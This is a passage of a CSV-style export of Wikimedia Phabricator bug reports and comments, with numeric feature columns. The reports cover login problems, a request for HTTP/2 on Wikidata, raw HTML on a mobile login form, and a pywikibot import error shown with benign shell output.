```",Needs Triage,90.0,1432374481,1432375935.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-TASK-23wpdktrk4tpqss65lgl,task_description,invalid,True,c3,1,True,True,True,-6,True,0.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,16.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,16.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.64,0.82,"Updating URL I found I was unable to log in, with errors about cookies being disabled. Usually this indicates something about the session serialization if cookies themselves are present.

Worked around by disabling these lines in /vagrant/LocalSettings.php:

``CODE``"
462445,Can't login on labs-vagrant instance without disabling $wgSessionsInObjectCache,I seem to have had a bogus redis session; restarting it a few times seems to have cleared it up. Yay!,,,1432375935,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-23wpdktrk4tpqss65lgl,task_subcomment,,True,c3,1,True,,,-6,True,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.375,0.8333333333333334,I seem to have had a bogus redis session; restarting it a few times seems to have cleared it up. Yay!
100022,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"This doesn't make any sense at all. After logging in and get redirected to Special:UserLogout, the user gets automatically logged out and have to log in again. ",Needs Triage,90.0,1432304675,1432629536.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-5fqj7istb5jgay6kkvco,task_description,resolved,True,c3,1,True,True,True,-6,True,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,21.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.03030303030303,0.8787878787878788,"This doesn't make any sense at all. After logging in and get redirected to Special:UserLogout, the user gets automatically logged out and have to log in again. "
463868,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,Updated. Seems fixed,,,1432629536,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Updated. Seems fixed
463462,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"That's T99990. I'll do the tests after that get fixed, so I can update without changing git url.",,,1432557734,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4347826086956523,0.9130434782608695,"That's T99990. I'll do the tests after that get fixed, so I can update without changing git url."
463401,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"I have no idea why, but I find no such commit in https://git.wikimedia.org/log/mediawiki%2Fextensions%2FOAuthAuthentication",,,1432552802,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,7.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.8571428571428571,"I have no idea why, but I find no such commit in URL"
463302,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"I think this was the issue I fixed in https://gerrit.wikimedia.org/r/#/c/174439/, let me know if not!",,,1432543890,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,19.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.9375,0.9375,I think this was the issue I fixed in URL let me know if not!
99297,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Thaejas|Thaejas]] ([[https://en.wikipedia.org/wiki/User talk:Thaejas|talk]]) 00:27, 11 May 2010 (UTC) wrote://

In Login screen, when clicked on any headings of the list (ID, Username, Password saved, etc), the list disappears and AWB stops responding to close. I need to restart the AWB.

----
**Duplicate:** Open AWB and click on Login/Profiles, then click on any heading in the list.
**OS:** Windows XP
**.NET:** 2.0
**Version:** 5.0.2.2, SVN 6518
**Workaround:** Restart AWB",Needs Triage,90.0,1431729288,1442944421.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_description,declined,True,c3,1,True,True,True,-7,True,1.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,5.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,17.0,0.5,1.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,5.0,0.0,0.5,5.0,17.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,3.1416666666666666,0.6416666666666666,"//[[URL ([[URL talk:Thaejas|talk]]) 00:27, 11 May 2010 (UTC) wrote://

In Login screen, when clicked on any headings of the list (ID, Username, Password saved, etc), the list disappears and AWB stops responding to close. I need to restart the AWB.

----
**Duplicate:** Open AWB and click on Login/Profiles, then click on any heading in the list.
**OS:** Windows XP
**.NET:** 2.0
**Version:** 5.0.2.2, SVN 6518
**Workaround:** Restart AWB"
532593,[Migrated] Login/Profiles screen list disappears on clicking headings,"Has not been a single reported instance of this since 2012. I'll mark is as declined. Feel free to reopen if this still happen to you,.",,,1442944421,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5483870967741935,0.8709677419354839,"Has not been a single reported instance of this since 2012. I'll mark is as declined. Feel free to reopen if this still happen to you,."
480111,[Migrated] Login/Profiles screen list disappears on clicking headings,Need a reproducible test case,,,1435077157,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Need a reproducible test case
459594,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Colonies Chris|Colonies Chris]] ([[https://en.wikipedia.org/wiki/User talk:Colonies Chris|talk]]) 08:36, 10 October 2012 (UTC) wrote://

I've experienced this same problem on Windows 7 (64 bit).",,,1431729422,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.55,0.8,"//[[URL Chris|Colonies Chris]] ([[URL talk:Colonies Chris|talk]]) 08:36, 10 October 2012 (UTC) wrote://

I've experienced this same problem on Windows 7 (64 bit)."
459593,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Rjwilmsi 08:20, 20 July 2012 (UTC) wrote://

Also works fine for me on Windows XP SP3.",,,1431729393,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,10.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"//@Rjwilmsi 08:20, 20 July 2012 (UTC) wrote://

Also works fine for me on Windows XP SP3."
459592,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Thaejas|Thaejas]] ([[https://en.wikipedia.org/wiki/User talk:Thaejas|talk]]) 12:13, 31 May 2010 (UTC) wrote://

So is there any solution for XP users other than changing the OS?",,,1431729362,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.3142857142857145,0.8857142857142857,"//[[URL ([[URL talk:Thaejas|talk]]) 12:13, 31 May 2010 (UTC) wrote://

So is there any solution for XP users other than changing the OS?"
459591,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Rjwilmsi 10:10, 28 May 2010 (UTC) wrote://

Also works for me on Windows 7.",,,1431729339,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,11.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.473684210526316,1.0,"//@Rjwilmsi 10:10, 28 May 2010 (UTC) wrote://

Also works for me on Windows 7."
459590,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Reedy 17:36, 11 May 2010 (UTC) wrote://

WFM on Windows 7...",,,1431729315,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,"//@Reedy 17:36, 11 May 2010 (UTC) wrote://

WFM on Windows 7..."
98527,Implement HTTP/2 for Wikidata,"The Wikidata UI keeps flaking out on me in a manner consistent with Firefox having reached the limit for the number of concurrent requests it is willing to make.  This would presumably be alleviated by the use of HTTP/2.  (And by the time you get this implemented, maybe the Iceweasel I'm actually using will even support HTTP/2. ;-)

(Maybe it would be better to figure out why some of the requests might be blocking for excessively long, though.)",Needs Triage,90.0,1431033771,1431705122.0,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-ckw5tql2oegj57xye6gl,task_description,invalid,True,c3,1,False,False,True,-8,True,1.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,9.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,4.0,12.0,1.0,1.0,12.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,15.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,1.0,4.0,1.0,0.0,0.0,4.087912087912088,0.7472527472527473,"The Wikidata UI keeps flaking out on me in a manner consistent with Firefox having reached the limit for the number of concurrent requests it is willing to make.  This would presumably be alleviated by the use of HTTP/2.  (And by the time you get this implemented, maybe the Iceweasel I'm actually using will even support HTTP/2. ;-)

(Maybe it would be better to figure out why some of the requests might be blocking for excessively long, though.)"
459289,Implement HTTP/2 for Wikidata,"SPDY 3.1 was enabled some time back for the whole Wikimedia cluster. Support for that was released in Iceweasel version 27 or 28, I don't remember when it was enabled by default. See http://mozilla.debian.net/ if you want to upgrade. To see if you are served with SPDY, open the network tab of the developer tools and look at the response headers, it lists ""X-Firefox-Spdy: 3.1"" for me (the header is injected by the client).

> (Maybe it would be better to figure out why some of the requests might be blocking for excessively long, though.)

Yes, the network tab in the developer tools might help you. Please reopen this bug or a new one if you find something.",,,1431705122,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ckw5tql2oegj57xye6gl,task_subcomment,,True,c3,1,True,,,-7,True,0.5,1.0,0.0,3.0,0.5,2.0,0.0,0.0,0.0,2.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,1.5,9.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,4.0,2.5,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,15.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.5,3.0,9.5,2.5,2.0,8.5,0.0,0.0,0.0,0.0,5.0,1.0,2.5,0.0,5.5,9.0,4.5,0.0,1.5,0.0,5.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,3.6166666666666667,0.8,"SPDY 3.1 was enabled some time back for the whole Wikimedia cluster. Support for that was released in Iceweasel version 27 or 28, I don't remember when it was enabled by default. See URL if you want to upgrade. To see if you are served with SPDY, open the network tab of the developer tools and look at the response headers, it lists ""X-Firefox-Spdy: 3.1"" for me (the header is injected by the client).

QUOTE

Yes, the network tab in the developer tools might help you. Please reopen this bug or a new one if you find something."
98292,Raw html showing on login form,"{F161118}
https://en.m.wikipedia.org/wiki/Special:UserLogin?returnto=2002_Pacific_typhoon_season&campaign=gather&returntoquery=article_action%3Dadd_to_collection&warning=gather-purpose-login-action
",Needs Triage,90.0,1430898562,1430945588.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-wdkwgnoc365m65ffsocd,task_description,resolved,True,c3,1,True,True,True,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.8333333333333334,"{F161118}
URL
"
454947,Raw html showing on login form,It just got fixed on the train. Choo choo!,,,1430945588,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,It just got fixed on the train. Choo choo!
454917,Raw html showing on login form,https://gerrit.wikimedia.org/r/#/c/205986/ needs cherrypicking,,,1430943810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,URL needs cherrypicking
454454,Raw html showing on login form,Ping @kaldari. This looks like a bug in [If5ec2ca2f345ab95851ecd2d658332d94a8d4270](https://gerrit.wikimedia.org/r/#/c/204977/). Did a dependency not get derployed yesterday?,,,1430904904,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,6.722222222222222,0.9444444444444444,PingSCREEN_NAME. This looks like a bug in [If5ec2ca2f345ab95851ecd2d658332d94a8d4270](URL Did a dependency not get derployed yesterday?
454448,Raw html showing on login form,@phuedx you probably want to fix this asap in your sprint,,,1430904335,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,SCREEN_NAME you probably want to fix this asap in your sprint
97992,Problem with login.py for pywikibot,"I'm trying to create a bot and log in for the first time.  I've generated the family and user files, and then navigated to the pywikibot folder to access login.py, but I keep getting an error message as follows:

```
Don'tNeedToKnow@Imamadmad /cygdrive/c/core/pywikibot
$ python login.py
Traceback (most recent call last):
  File ""login.py"", line 20, in <module>
    import pywikibot
ImportError: No module named pywikibot

```
I haven't touched any files at all apart from running generate_family_file.py and generate_user_files.py.  The version of pywikibot is the one from http://tools.wmflabs.org/pywikibot/ last updated on May 4th, but this has been happening for almost a week now.  It was about a week ago that I first tried installing the software.  I don't know what exactly the problem is.  The above error message is all I've got.  I can post further if there are more things you can tell me to do to expose the cause of the problem.

Edit: I am using Python 2.7.8 if that's of any help.


To give full list of what files are available and where, from where they've been placed by default:

```
Don'tNeedToKnow@Imamadmad /cygdrive/c/core
$ ls
ChangeLog                logs                   setup.py
CREDITS                  pwb.py                 tests
externals                pywikibot              tox.ini
ez_setup.py              README.rst             user-config.py
generate_family_file.py  README-conversion.txt  user-config.py.sample
generate_user_files.py   requirements.txt
LICENSE                  scripts

Don'tNeedToKnow@Imamadmad /cygdrive/c/core
$ cd pywikibot

Don'tNeedToKnow@Imamadmad /cygdrive/c/core/pywikibot
$ ls
__init__.py    config2.pyc    exceptions.pyc      login.pyc          throttle.py
__init__.pyc   data           families            page.py            throttle.pyc
backports.py   date.py        family.py           page.pyc           titletranslate.py
backports.pyc  diff.py        family.pyc          pagegenerators.py  tools
bot.py         diff.pyc       fixes.py            plural.py          userinterfaces
